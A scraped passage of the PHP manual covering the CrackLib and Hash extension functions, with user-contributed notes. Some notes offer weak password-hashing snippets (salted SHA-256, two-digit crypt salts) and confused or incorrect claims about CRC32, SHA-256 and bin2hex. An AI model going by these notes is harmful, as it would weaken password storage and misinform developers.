            // Badly formatted response from cracklib-check.
            throw new Exception("Didn't understand cracklib-check response.");
        }
    }
    else
    {
        // Some sort of execution error
        throw new Exception("Failed to run cracklib-check.");
    }
}
?>


Closes an open CrackLib dictionary

  • « crack_check
  • crack_getlastmessage »
  • PHP Manual
  • Crack Functions
  • Closes an open CrackLib dictionary

crack_closedict

(PECL crack >= 0.1)

crack_closedict — Closes an open CrackLib dictionary

Description

bool crack_closedict ([ resource $dictionary ] )

crack_closedict() closes the specified dictionary identifier.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

dictionary

The dictionary to close. If not specified, the current dictionary is closed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • crack_opendict() - Opens a new CrackLib dictionary

User Contributed Notes

There are no user contributed notes for this page.


Returns the message from the last obscure check

  • « crack_closedict
  • crack_opendict »
  • PHP Manual
  • Crack Functions
  • Returns the message from the last obscure check

crack_getlastmessage

(PECL crack >= 0.1)

crack_getlastmessage — Returns the message from the last obscure check

Description

string crack_getlastmessage ( void )

crack_getlastmessage() returns the message from the last obscure check.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Return Values

The message from the last obscure check or FALSE if there was no obscure checks made so far.

The returned message is one of:

  • it's WAY too short
  • it is too short
  • it does not contain enough DIFFERENT characters
  • it is all whitespace
  • it is too simplistic/systematic
  • it looks like a National Insurance number.
  • it is based on a dictionary word
  • it is based on a (reversed) dictionary word
  • strong password

See Also

  • crack_check() - Performs an obscure check with the given password

User Contributed Notes

There are no user contributed notes for this page.


Opens a new CrackLib dictionary

  • « crack_getlastmessage
  • Hash »
  • PHP Manual
  • Crack Functions
  • Opens a new CrackLib dictionary

crack_opendict

(PECL crack >= 0.1)

crack_opendict — Opens a new CrackLib dictionary

Description

resource crack_opendict ( string $dictionary )

crack_opendict() opens the specified CrackLib dictionary for use with crack_check().

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Note:

Only one dictionary may be open at a time.

Parameters

dictionary

The path to the Cracklib dictionary.

Return Values

Returns a dictionary resource identifier on success or FALSE on failure.

See Also

  • crack_check() - Performs an obscure check with the given password
  • crack_closedict() - Closes an open CrackLib dictionary

User Contributed Notes

There are no user contributed notes for this page.


HASH Message Digest Framework

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Hash Functions
    • hash_algos — Return a list of registered hashing algorithms
    • hash_copy — Copy hashing context
    • hash_equals — Timing attack safe string comparison
    • hash_file — Generate a hash value using the contents of a given file
    • hash_final — Finalize an incremental hash and return resulting digest
    • hash_hmac_file — Generate a keyed hash value using the HMAC method and the contents of a given file
    • hash_hmac — Generate a keyed hash value using the HMAC method
    • hash_init — Initialize an incremental hashing context
    • hash_pbkdf2 — Generate a PBKDF2 key derivation of a supplied password
    • hash_update_file — Pump data into an active hashing context from a file
    • hash_update_stream — Pump data into an active hashing context from an open stream
    • hash_update — Pump data into an active hashing context
    • hash — Generate a hash value (message digest)

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Message Digest (hash) engine. Allows direct or incremental processing of arbitrary length messages using a variety of hashing algorithms.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The Hash extension requires no external libraries and is enabled by default as of PHP 5.1.2. It may be explicitly disabled by using the --disable-hash switch to configure. Earlier versions of PHP may incorporate the Hash extension by installing the » PECL module.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines a Hashing Context resource returned by hash_init().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

HASH_HMAC (integer)
Optional flag for hash_init(). Indicates that the HMAC digest-keying algorithm should be applied to the current hashing context.

User Contributed Notes

There are no user contributed notes for this page.


Hash Functions

Table of Contents

  • hash_algos — Return a list of registered hashing algorithms
  • hash_copy — Copy hashing context
  • hash_equals — Timing attack safe string comparison
  • hash_file — Generate a hash value using the contents of a given file
  • hash_final — Finalize an incremental hash and return resulting digest
  • hash_hmac_file — Generate a keyed hash value using the HMAC method and the contents of a given file
  • hash_hmac — Generate a keyed hash value using the HMAC method
  • hash_init — Initialize an incremental hashing context
  • hash_pbkdf2 — Generate a PBKDF2 key derivation of a supplied password
  • hash_update_file — Pump data into an active hashing context from a file
  • hash_update_stream — Pump data into an active hashing context from an open stream
  • hash_update — Pump data into an active hashing context
  • hash — Generate a hash value (message digest)

User Contributed Notes

ocarter at mirabeau dot nl 11-Jan-2010 04:22
Note for FreeBSD with PHP-5.

This is disabled by default; use the security/php5-hash port:
cd /usr/ports/security/php5-hash ; make install clean
(do not use the security/pecl-hash port as in the past, see the /usr/ports/UPDATING post from 20081211)
kungla at gmail dot com 07-Dec-2009 02:00
For Samba ueserPassword you can use:

(I am not very sure aboute the salt part, but it works for me like that)

<?php
function CRYPThash($string, $salt = null)
{
    if (!$salt)
        $salt = rand(10,99);

    return "{CRYPT}".crypt($string, $salt);
}
?>

In posted NTLMHash function you can also use:

<?php
// Encrypt it with the MD4 hash
$MD4Hash=hash('md4',$Input);
?>

So you don't need to install mhash libraries
artem at it-nt dot ru 20-Jul-2008 09:35
And some code for LM hash:

<?php
function LMhash($string)
{
    $string = strtoupper(substr($string,0,14));

    $p1 = LMhash_DESencrypt(substr($string, 0, 7));
    $p2 = LMhash_DESencrypt(substr($string, 7, 7));

    return strtoupper($p1.$p2);
}

function LMhash_DESencrypt($string)
{
    $key = array();
    $tmp = array();
    $len = strlen($string);

    for ($i=0; $i<7; ++$i)
        $tmp[] = $i < $len ? ord($string[$i]) : 0;

    $key[] = $tmp[0] & 254;
    $key[] = ($tmp[0] << 7) | ($tmp[1] >> 1);
    $key[] = ($tmp[1] << 6) | ($tmp[2] >> 2);
    $key[] = ($tmp[2] << 5) | ($tmp[3] >> 3);
    $key[] = ($tmp[3] << 4) | ($tmp[4] >> 4);
    $key[] = ($tmp[4] << 3) | ($tmp[5] >> 5);
    $key[] = ($tmp[5] << 2) | ($tmp[6] >> 6);
    $key[] = $tmp[6] << 1;

    $is = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($is, MCRYPT_RAND);
    $key0 = "";

    foreach ($key as $k)
        $key0 .= chr($k);
    $crypt = mcrypt_encrypt(MCRYPT_DES, $key0, "KGS!@#$%", MCRYPT_MODE_ECB, $iv);

    return bin2hex($crypt);
}
?>

Some optimization?
CraquePipe 25-Mar-2008 01:42
For thoes of you who're looking to generate an NTLM hash (not an LM hash), I found out it's quite simple..

It uses the basic MD4 function, but the password needs to be in Unicode Little Endian encode first (this canbe achieved by the iconv function).

This can be done easily by using the following code:

<?php
function NTLMHash($Input) {
  // Convert the password from UTF8 to UTF16 (little endian)
  $Input=iconv('UTF-8','UTF-16LE',$Input);

  // Encrypt it with the MD4 hash
  $MD4Hash=bin2hex(mhash(MHASH_MD4,$Input));

  // You could use this instead, but mhash works on PHP 4 and 5 or above
  // The hash function only works on 5 or above
  //$MD4Hash=hash('md4',$Input);

  // Make it uppercase, not necessary, but it's common to do so with NTLM hashes
  $NTLMHash=strtoupper($MD4Hash);

  // Return the result
  return($NTLMHash);
}
?>

To produce an LM hash requires a fully-written script containing the algorithm used to make it.

Enjoy,
CraquePipe.
nb_removethis_ at wtal dot de 04-Sep-2007 02:24
Some tests with mhash and hash revealed on my machine that hash needs more than twice as long to create a hash than mhash. The average of one million cylces of Haval128, Haval256, Gost, CRC32, MD5, SHA1 and SHA256 was 450ms for mhash and 1150ms for hash.


Return a list of registered hashing algorithms

  • « Hash Functions
  • hash_copy »
  • PHP Manual
  • Hash Functions
  • Return a list of registered hashing algorithms

hash_algos

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_algos — Return a list of registered hashing algorithms

Description

array hash_algos ( void )

Return Values

Returns a numerically indexed array containing the list of supported hashing algorithms.

Changelog

Version | Description
5.6.0 | Support for gost-crypto was added. This implements the GOST hash function using the CryptoPro S-box tables as specified by » RFC 4357, section 11.2.
5.4.0 | Support for joaat, fnv132 and fnv164 was added. Support for Salsa10 and Salsa20 was removed.
5.3.0 | Support for md2, ripemd256, ripemd320, salsa10, salsa20, snefru256 and sha224 was added

Examples

Example #1 hash_algos() example

As of PHP 5.6.0, hash_algos() will return the following list of algorithm names.

<?php
print_r(hash_algos());
?>

The above example will output something similar to:

Array
(
    [0] => md2
    [1] => md4
    [2] => md5
    [3] => sha1
    [4] => sha224
    [5] => sha256
    [6] => sha384
    [7] => sha512
    [8] => ripemd128
    [9] => ripemd160
    [10] => ripemd256
    [11] => ripemd320
    [12] => whirlpool
    [13] => tiger128,3
    [14] => tiger160,3
    [15] => tiger192,3
    [16] => tiger128,4
    [17] => tiger160,4
    [18] => tiger192,4
    [19] => snefru
    [20] => snefru256
    [21] => gost
    [22] => gost-crypto
    [23] => adler32
    [24] => crc32
    [25] => crc32b
    [26] => fnv132
    [27] => fnv1a32
    [28] => fnv164
    [29] => fnv1a64
    [30] => joaat
    [31] => haval128,3
    [32] => haval160,3
    [33] => haval192,3
    [34] => haval224,3
    [35] => haval256,3
    [36] => haval128,4
    [37] => haval160,4
    [38] => haval192,4
    [39] => haval224,4
    [40] => haval256,4
    [41] => haval128,5
    [42] => haval160,5
    [43] => haval192,5
    [44] => haval224,5
    [45] => haval256,5
)

User Contributed Notes

Miguel Florido 18-Oct-2014 08:04
Ansewring to holdoffhunger avoid crc32, the are different results because the crc32(); use the algorithm 'crc32b'. To check this only have to write:

echo hash('crc32b', 'The quick brown fox jumped over the lazy dog.'), "\n";
echo dechex (crc32('The quick brown fox jumped over the lazy dog.'));

And check that both have the same results:

82a34642
82a34642
Jona 17-Aug-2013 09:09
With php 5.4 I got this with the sample above

Array
(
    [0] => md2
    [1] => md4
    [2] => md5
    [3] => sha1
    [4] => sha224
    [5] => sha256
    [6] => sha384
    [7] => sha512
    [8] => ripemd128
    [9] => ripemd160
    [10] => ripemd256
    [11] => ripemd320
    [12] => whirlpool
    [13] => tiger128,3
    [14] => tiger160,3
    [15] => tiger192,3
    [16] => tiger128,4
    [17] => tiger160,4
    [18] => tiger192,4
    [19] => snefru
    [20] => snefru256
    [21] => gost
    [22] => adler32
    [23] => crc32
    [24] => crc32b
    [25] => fnv132
    [26] => fnv164
    [27] => joaat
    [28] => haval128,3
    [29] => haval160,3
    [30] => haval192,3
    [31] => haval224,3
    [32] => haval256,3
    [33] => haval128,4
    [34] => haval160,4
    [35] => haval192,4
    [36] => haval224,4
    [37] => haval256,4
    [38] => haval128,5
    [39] => haval160,5
    [40] => haval192,5
    [41] => haval224,5
    [42] => haval256,5
)
holdoffhunger at gmail dot com 23-Jun-2012 08:42
If you print the results of the hash_algos function and look at all of the available hashing functions, you will find three with duplicate functions: md5, sha1, crc32, and sha256.  That means you can call the any of these function with either its own function or the hash function.  For example, with the SHA1 function :

<?php

            // Author: holdoffhunger@gmail.com

    $sha1_first_value = sha1("secret", FALSE);

    $sha1_second_value = hash("sha1", "secret", FALSE);

?>

However, the alternate title for the SHA256 algorithm is "getImageSignature", as part of the ImageMagick application package.  Oddly, the CRC32 function returns different values when called from its own particular function (crc32()) compared to when it's called through the hash function (hash()).  This leads me to suspect that they may be different implementations of the crc32 algorithm altogether.  The different functions for SHA1 and MD5, however, produce the same results.  The SHA-256 algorithm, as implemented in the ImageMagick function, also produces different results compared to the results of the hash_file() function within the Hash application package.

For the String "1234567890", the single CRC32() Function (which doesn't have an option for binary, "raw data" representation) produces "639479525", but when called through the Hash() Function, that same string produces "b6536850".  I cannot find the relationship of any of these values, as they are not inverses of each other, nor is their sum or difference equal to any power of two (as I suspected they might be an equal distance from 0 or 2^32).

Both the SHA1 and MD5 alternate functions have the parameter of "TRUE/FALSE" at the end to indicate whether the result is given in binary (raw data) or not.  Unfortunately, this often turns out to be data that doesn't print very well.  It is recommended to be printed with the statement of printf("%u\n", $crc_32_value);.  However, that often doesn't produce any usable results, either.  The only method I have discovered is the "bin2hex" function, like so :

<?php

    $md5_value = hash("md5", "secret", FALSE);
    $md5_value_in_hex = bin2hex($md5_value);

?>

However, bin2hex returns a hexadecimal representation, whereas you probably wanted a string of binary 1's and 0's.  You can use the base_convert function, such as base_convert($md5_value_in_hex, 16, 2);.  However, base_convert doesn't work on large numbers, so you have to write your own function for converting Hex to Binary.

One other thing that will probably catch your attention is that half of the listed algorithms have similar names, but are represented with different numbers.  That means that the algorithm takes parameters itself, such as number of bits for the resultant hash value and number of rounds to do in producing the hashed result.  The first number in the title of the Hash Function usually indicates the size of the hash result, such as 128 bit for "haval128,3" and 160 bit for "tiger160,4".  The second number, however, indicates the number of rounds, such as 5 rounds for "haval224,5".
alvaro at demogracia dot com 16-Nov-2010 02:02
These algorithms can be used to generate a session ID. Just pick a string value from the list and feed the session.hash_function directive with it. E.g.:

<?php
ini_set('session.hash_function', 'whirlpool');
?>
elinor dot hurst at gmail dot REMOVEME dot com 30-Jun-2008 10:52
static function crypt_pass($pass, $salt=NULL)
    {
        $salt_len=7;
        $algo='sha256';

        if (!$salt||strlen($salt)<$salt_len)
        {
            $salt=uniqid(rand(), TRUE);     // get unique string (length==23)
        }
        $salt=substr($salt, 0, $salt_len);

        if (function_exists('hash') && in_array($algo, hash_algos()))
        {
            $hashed=hash($algo, $salt.$pass);
        }
        else
        {
            $hashed=sha1($salt.$pass);
        }
        return $salt.$hashed;
    }


Copy hashing context

  • « hash_algos
  • hash_equals »
  • PHP Manual
  • Hash Functions
  • Copy hashing context

hash_copy

(PHP 5 >= 5.3.0)

hash_copy — Copy hashing context

Description

resource hash_copy ( resource $context )

Parameters

context

Hashing context returned by hash_init().

Return Values

Returns a copy of Hashing Context resource.

Examples

Example #1 hash_copy() example

<?php
$context = hash_init("md5");
hash_update($context, "data");

/* copy context to be able to continue using it */
$copy_context = hash_copy($context);

echo hash_final($context), "\n";

hash_update($copy_context, "data");
echo hash_final($copy_context), "\n";
?>

The above example will output:

8d777f385d3dfec8815d20f7496026dc
511ae0b1c13f95e5f08f1a0dd3da3d93

User Contributed Notes

There are no user contributed notes for this page.


Timing attack safe string comparison

  • « hash_copy
  • hash_file »
  • PHP Manual
  • Hash Functions
  • Timing attack safe string comparison

hash_equals

(PHP 5 >= 5.6.0)

hash_equals — Timing attack safe string comparison

Description

bool hash_equals ( string $known_string , string $user_string )

Compares two strings using the same time whether they're equal or not.

This function should be used to mitigate timing attacks; for instance, when testing crypt() password hashes.

Parameters

known_string

The string of known length to compare against

user_string

The user-supplied string

Return Values

Returns TRUE when the two strings are equal, FALSE otherwise.

Errors/Exceptions

Emits an E_WARNING message when either of the supplied parameters is not a string.

Examples

Example #1 example

<?php
$expected  = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$correct   = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$incorrect = crypt('apple',  '$2a$07$usesomesillystringforsalt$');

var_dump(hash_equals($expected, $correct));
var_dump(hash_equals($expected, $incorrect));
?>

The above example will output:

bool(true)
bool(false)

Notes

Note:

Both arguments must be of the same length to be compared successfully. When arguments of differing length are supplied, FALSE is returned and the length of the known string may be leaked in case of a timing attack.

Note:

It is important to provide the user-supplied string as the second parameter, rather than the first.

User Contributed Notes

Markus P. N. 05-Sep-2014 06:46
I don't know why asphp at dsgml dot com got that many downvotes, the function seems to work.

I extended it a bit to support strings of diffent length and to handle errors and ran some tests:

The test results and how to reproduce them: http://pastebin.com/mLMXJeva

The function:
<?php

if (!function_exists('hash_equals')) {

    /**
     * Timing attack safe string comparison
     *
     * Compares two strings using the same time whether they're equal or not.
     * This function should be used to mitigate timing attacks; for instance, when testing crypt() password hashes.
     *
     * @param string $known_string The string of known length to compare against
     * @param string $user_string The user-supplied string
     * @return boolean Returns TRUE when the two strings are equal, FALSE otherwise.
     */
    function hash_equals($known_string, $user_string)
    {
        if (func_num_args() !== 2) {
            // handle wrong parameter count as the native implentation
            trigger_error('hash_equals() expects exactly 2 parameters, ' . func_num_args() . ' given', E_USER_WARNING);
            return null;
        }
        if (is_string($known_string) !== true) {
            trigger_error('hash_equals(): Expected known_string to be a string, ' . gettype($known_string) . ' given', E_USER_WARNING);
            return false;
        }
        $known_string_len = strlen($known_string);
        $user_string_type_error = 'hash_equals(): Expected user_string to be a string, ' . gettype($user_string) . ' given'; // prepare wrong type error message now to reduce the impact of string concatenation and the gettype call
        if (is_string($user_string) !== true) {
            trigger_error($user_string_type_error, E_USER_WARNING);
            // prevention of timing attacks might be still possible if we handle $user_string as a string of diffent length (the trigger_error() call increases the execution time a bit)
            $user_string_len = strlen($user_string);
            $user_string_len = $known_string_len + 1;
        } else {
            $user_string_len = $known_string_len + 1;
            $user_string_len = strlen($user_string);
        }
        if ($known_string_len !== $user_string_len) {
            $res = $known_string ^ $known_string; // use $known_string instead of $user_string to handle strings of diffrent length.
            $ret = 1; // set $ret to 1 to make sure false is returned
        } else {
            $res = $known_string ^ $user_string;
            $ret = 0;
        }
        for ($i = strlen($res) - 1; $i >= 0; $i--) {
            $ret |= ord($res[$i]);
        }
        return $ret === 0;
    }

}

?>
asphp at dsgml dot com 29-Aug-2014 04:48
To transparently support this function on older versions of PHP use this:

<?php
if(!function_exists('hash_equals')) {
  function hash_equals($str1, $str2) {
    if(strlen($str1) != strlen($str2)) {
      return false;
    } else {
      $res = $str1 ^ $str2;
      $ret = 0;
      for($i = strlen($res) - 1; $i >= 0; $i--) $ret |= ord($res[$i]);
      return !$ret;
    }
  }
}
?>


Generate a hash value using the contents of a given file

  • « hash_equals
  • hash_final »
  • PHP Manual
  • Hash Functions
  • Generate a hash value using the contents of a given file

hash_file

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_file — Generate a hash value using the contents of a given file

Description

string hash_file ( string $algo , string $filename [, bool $raw_output = false ] )

Parameters

algo

Name of selected hashing algorithm (i.e. "md5", "sha256", "haval160,4", etc..)

filename

URL describing location of file to be hashed; Supports fopen wrappers.

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the calculated message digest as lowercase hexits unless raw_output is set to true in which case the raw binary representation of the message digest is returned.

Examples

Example #1 Using hash_file()

<?php
/* Create a file to calculate hash of */
file_put_contents('example.txt', 'The quick brown fox jumped over the lazy dog.');

echo hash_file('md5', 'example.txt');
?>

The above example will output:

5c6ffbdd40d9556b73a21e63c3e0e904

See Also

  • hash() - Generate a hash value (message digest)
  • hash_hmac_file() - Generate a keyed hash value using the HMAC method and the contents of a given file
  • hash_update_file() - Pump data into an active hashing context from a file
  • md5_file() - Calculates the md5 hash of a given file
  • sha1_file() - Calculate the sha1 hash of a file

User Contributed Notes

holdoffhunger at gmail dot com 30-Jun-2012 10:03
The Hash_File() function returns the same value as if the function Hash() had been performed on the same exact piece of data.  At first, I was uncertain if Hash_File() used the filename, or even the permission settings, when defining the data to be hashed for the given algorithm.  If it did work that way, then that means the same exact files would have different HASH values when you moved or renamed them on your system.  Anyway, fortunately, it does not work that way.  Hash() and Hash_File() produce identical results for the same pieces of data.  This is also true for the relationship between the Hash_HMAC() and Hash_HMAC_File() functions: the same pieces of data, the same keys, produce identical results.  It was a wise, design principle.

Some sample code to demonstrate this principle :

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Data
        // ------------------------------------------------

    $test_data = "php-hashing";
    $test_file = "test.txt";
    $test_file_read = file_get_contents($test_file);

        // Hash Data
        // ------------------------------------------------

    $test_data_hash = hash("md2", $test_data, FALSE);
    $test_file_hash = hash_file("md2", $test_file, FALSE);

        // Print Hash Results
        // ------------------------------------------------

    print("Data Hash ($test_data): $test_data_hash<br><br>");
    print("File Hash ($test_file_read): $test_file_hash");

?>

    Expected Results
    ..................................

Data Hash (php-hashing): 457d84e1d69e519a7b73348db21477d3

File Hash (php-hashing): 457d84e1d69e519a7b73348db21477d3
apm at domain itsmee.co.uk 10-Jul-2011 01:56
I have verified that the output of the "crc32" is the ITU I.363.5 algorithm (a.k.a. AAL5 CRC - popularised by BZIP2 but also used in ATM transmissions - the algorithm is the same as that in POSIX 1003.2-1992 in Cksum but that stuffs the size into the CRC at the end for extra measure).  However, the output is expressed in reverse order to many CRC programs.  Using the "standard" crctest.txt (numbers 1 to 9 in sequence - google it, it's not hard to find), php will output 181989fc - many other (Intel little endian) programs would output this as fc891918, hence the confusion (that I have had, at least).

The crc32b is the 32-bit Frame Check Sequence of ITU V.42 (used in Ethernet and popularised by PKZip).  The output from this CRC is popularised in Intel little endian format and would produce cbf43926 on the same file.
Anonymous 26-Apr-2011 06:55
Please take note that hash-file will throw error on files >=2GB.
chernyshevsky at hotmail dot com 23-Sep-2010 01:01
If you want to use hash_file() to get the CRC32 value of a file, use the following to unpack the hex string returned by the function to an integer (similar to crc32()):

$hash = hash_file('crc32b', $filepath);
$array = unpack('N', pack('H*', $hash));
$crc32 = $array[1];
Keisial at gmail dot com 11-Sep-2008 08:46
The 'octets reversed' you are seeing is the bug 45028 which has been fixed. http://bugs.php.net/bug.php?id=45028

The difference between crc32 and crc32b is explained on mhash man page. crc32 is the one used on ethernet, while crc32b is the one used on zip, png... They differ on the table used.
allaryin at gmail dot com 24-Jul-2008 12:16
For those who are wondering, there appears to be no fundamental difference between hash_file('md5')/hash_file('sha1') and md5_file()/sha1_file(). They produce identical output and have comparable performance.

There is, however, a difference between hash_file('crc32') and something silly like crc32(file_get_contents()).

crc32(file_get_contents())'s results are most similar to those of hash_file('crc32b'), just with the octets reversed:

<?php
$fname = "something.png";

$hash = hash_file( 'crc32', $fname );
echo "crc32  = $hash\n";

$hash = hash_file( 'crc32b', $fname );
echo "crc32b = $hash\n";

$hash = sprintf("%x",crc32(file_get_contents($fname)));
echo "manual = $hash\n";
?>

crc32  = f41d7f4e
crc32b = 7dafbba4
manual = a4bbaf7d


Finalize an incremental hash and return resulting digest

  • « hash_file
  • hash_hmac_file »
  • PHP Manual
  • Hash Functions
  • Finalize an incremental hash and return resulting digest

hash_final

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_final — Finalize an incremental hash and return resulting digest

Description

string hash_final ( resource $context [, bool $raw_output = false ] )

Parameters

context

Hashing context returned by hash_init().

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the calculated message digest as lowercase hexits unless raw_output is set to true in which case the raw binary representation of the message digest is returned.

Examples

Example #1 hash_final() example

<?php
$ctx = hash_init('sha1');
hash_update($ctx, 'The quick brown fox jumped over the lazy dog.');
echo hash_final($ctx);
?>

The above example will output:

c0854fb9fb03c41cce3802cb0d220529e6eef94e

See Also

  • hash_init() - Initialize an incremental hashing context
  • hash_update() - Pump data into an active hashing context
  • hash_update_stream() - Pump data into an active hashing context from an open stream
  • hash_update_file() - Pump data into an active hashing context from a file

User Contributed Notes

There are no user contributed notes for this page.


Generate a keyed hash value using the HMAC method and the contents of a given file

  • « hash_final
  • hash_hmac »
  • PHP Manual
  • Hash Functions
  • Generate a keyed hash value using the HMAC method and the contents of a given file

hash_hmac_file

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_hmac_file — Generate a keyed hash value using the HMAC method and the contents of a given file

Description

string hash_hmac_file ( string $algo , string $filename , string $key [, bool $raw_output = false ] )

Parameters

algo

Name of selected hashing algorithm (i.e. "md5", "sha256", "haval160,4", etc..) See hash_algos() for a list of supported algorithms.

filename

URL describing location of file to be hashed; Supports fopen wrappers.

key

Shared secret key used for generating the HMAC variant of the message digest.

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the calculated message digest as lowercase hexits unless raw_output is set to true in which case the raw binary representation of the message digest is returned.

Examples

Example #1 hash_hmac_file() example

<?php
/* Create a file to calculate hash of */
file_put_contents('example.txt', 'The quick brown fox jumped over the lazy dog.');

echo hash_hmac_file('md5', 'example.txt', 'secret');
?>

The above example will output:

7eb2b5c37443418fc77c136dd20e859c

See Also

  • hash_algos() - Return a list of registered hashing algorithms
  • hash_hmac() - Generate a keyed hash value using the HMAC method
  • hash_file() - Generate a hash value using the contents of a given file

User Contributed Notes

There are no user contributed notes for this page.


Generate a keyed hash value using the HMAC method

  • « hash_hmac_file
  • hash_init »
  • PHP Manual
  • Hash Functions
  • Generate a keyed hash value using the HMAC method

hash_hmac

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_hmac — Generate a keyed hash value using the HMAC method

Description

string hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] )

Parameters

algo

Name of selected hashing algorithm (i.e. "md5", "sha256", "haval160,4", etc..) See hash_algos() for a list of supported algorithms.

data

Message to be hashed.

key

Shared secret key used for generating the HMAC variant of the message digest.

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the calculated message digest as lowercase hexits unless raw_output is set to true in which case the raw binary representation of the message digest is returned. Returns FALSE when algo is unknown.

Examples

Example #1 hash_hmac() example

<?php
echo hash_hmac('ripemd160', 'The quick brown fox jumped over the lazy dog.', 'secret');
?>

The above example will output:

b8e7ae12510bdfb1812e463a7f086122cf37e4f7

See Also

  • hash() - Generate a hash value (message digest)
  • hash_algos() - Return a list of registered hashing algorithms
  • hash_init() - Initialize an incremental hashing context
  • hash_hmac_file() - Generate a keyed hash value using the HMAC method and the contents of a given file

User Contributed Notes

Michael 20-Feb-2013 05:52
Please be careful when comparing hashes. In certain cases, information can be leaked by using a timing attack. It takes advantage of the == operator only comparing until it finds a difference in the two strings. To prevent it, you have two options.

Option 1: hash both hashed strings first - this doesn't stop the timing difference, but it makes the information useless.

<?php
    if (md5($hashed_value) === md5($hashed_expected)) {
        echo "hashes match!";
    }
?>

Option 2: always compare the whole string.

<?php
    if (hash_compare($hashed_value, $hashed_expected)) {
        echo "hashes match!";
    }

    function hash_compare($a, $b) {
        if (!is_string($a) || !is_string($b)) {
            return false;
        }

        $len = strlen($a);
        if ($len !== strlen($b)) {
            return false;
        }

        $status = 0;
        for ($i = 0; $i < $len; $i++) {
            $status |= ord($a[$i]) ^ ord($b[$i]);
        }
        return $status === 0;
    }
?>
pete dot walker at NOSPAM dot me dot com 08-Oct-2012 11:13
A function implementing the algorithm outlined in RFC 6238 (http://tools.ietf.org/html/rfc6238)

<?php
/**
 * This function implements the algorithm outlined
 * in RFC 6238 for Time-Based One-Time Passwords
 *
 * @link http://tools.ietf.org/html/rfc6238
 * @param string $key    the string to use for the HMAC key
 * @param mixed  $time   a value that reflects a time (unix
 *                       time in the example)
 * @param int    $digits the desired length of the OTP
 * @param string $crypto the desired HMAC crypto algorithm
 * @return string the generated OTP
 */
function oauth_totp($key, $time, $digits=8, $crypto='sha256')
{
    $digits = intval($digits);
    $result = null;

    // Convert counter to binary (64-bit)
    $data = pack('NNC*', $time >> 32, $time & 0xFFFFFFFF);

    // Pad to 8 chars (if necessary)
    if (strlen ($data) < 8) {
        $data = str_pad($data, 8, chr(0), STR_PAD_LEFT);
    }

    // Get the hash
    $hash = hash_hmac($crypto, $data, $key);

    // Grab the offset
    $offset = 2 * hexdec(substr($hash, strlen($hash) - 1, 1));

    // Grab the portion we're interested in
    $binary = hexdec(substr($hash, $offset, 8)) & 0x7fffffff;

    // Modulus
    $result = $binary % pow(10, $digits);

    // Pad (if necessary)
    $result = str_pad($result, $digits, "0", STR_PAD_LEFT);

    return $result;
}
?>
relevant at celsius dot ee 14-Jul-2012 09:52
<?php
/* Here is a solution for those who used hash_hmac
   with Tiger algorithm in PHP 5.1 - 5.3
   and want to upgrade to PHP 5.4 (or newer?).

   The problem occured because the order of bytes for Tiger
   was changed to big endian since PHP 5.4.0.

   The two functions below assert $algo is one of Tiger algorithms,
   for example tiger160,4.
   */

# replaces hash('tiger...
function hash_tiger_rev($algo, $data, $raw_output = false) {
    $len = intval(substr($algo, 5, 3)); # 128, 160 or 192 bits
    $times = substr($algo, 9, 1); # 3 or 4
    $revhash = implode("", array_map("strrev",
        str_split(hash('tiger192,'.$times, $data, true), 8)));
    if ($len < 192) $revhash = substr($revhash, 0, $len >> 3);
    return $raw_output? $revhash: bin2hex($revhash);
}

# replaces hash_hmac('tiger...
function hash_hmac_tiger_rev($algo, $data, $key, $raw_output = false) {
    if (strlen($key) > 64) $key = hash_tiger_rev($algo, $key);
    $key = str_pad($key, 64, chr(0));
    $o_pad = str_repeat("\\", 64) ^ $key; # "\" = chr(0x5C)
    $i_pad = str_repeat("6", 64) ^ $key; # "6" = chr(0x36)
    return hash_tiger_rev($algo, $o_pad .
           hash_tiger_rev($algo, $i_pad . $data, true), $raw_output);
}

# always the new version of tiger
function hash_hmac_new($algo, $data, $key, $raw_output = false) {
    if (phpversion() > '5.4' || !preg_match('/^tiger(128|160|192),(3|4)$/', $algo))
        return hash_hmac($algo, $data, $key, $raw_output);
    else
        return hash_hmac_tiger_rev($algo, $data, $key, $raw_output);
}

# always the old version of tiger
function hash_hmac_old($algo, $data, $key, $raw_output = false) {
    if (phpversion() < '5.4' || !preg_match('/^tiger(128|160|192),(3|4)$/', $algo))
        return hash_hmac($algo, $data, $key, $raw_output);
    else
        return hash_hmac_tiger_rev($algo, $data, $key, $raw_output);
}

# let's test it
$algo = 'tiger160,4'; $pwd = 'foo'; $key = 'bar';
echo hash_hmac($algo, $pwd, $key), "<br>";
echo hash_hmac_tiger_rev($algo, $pwd, $key), "<br>";
echo "<br>";
echo hash_hmac_old($algo, $pwd, $key), "<br>";
echo hash_hmac_new($algo, $pwd, $key), "<br>";

/* With PHP 5.4 output would be
   590546d9f425188da35e5dfa53306ba3953571cc
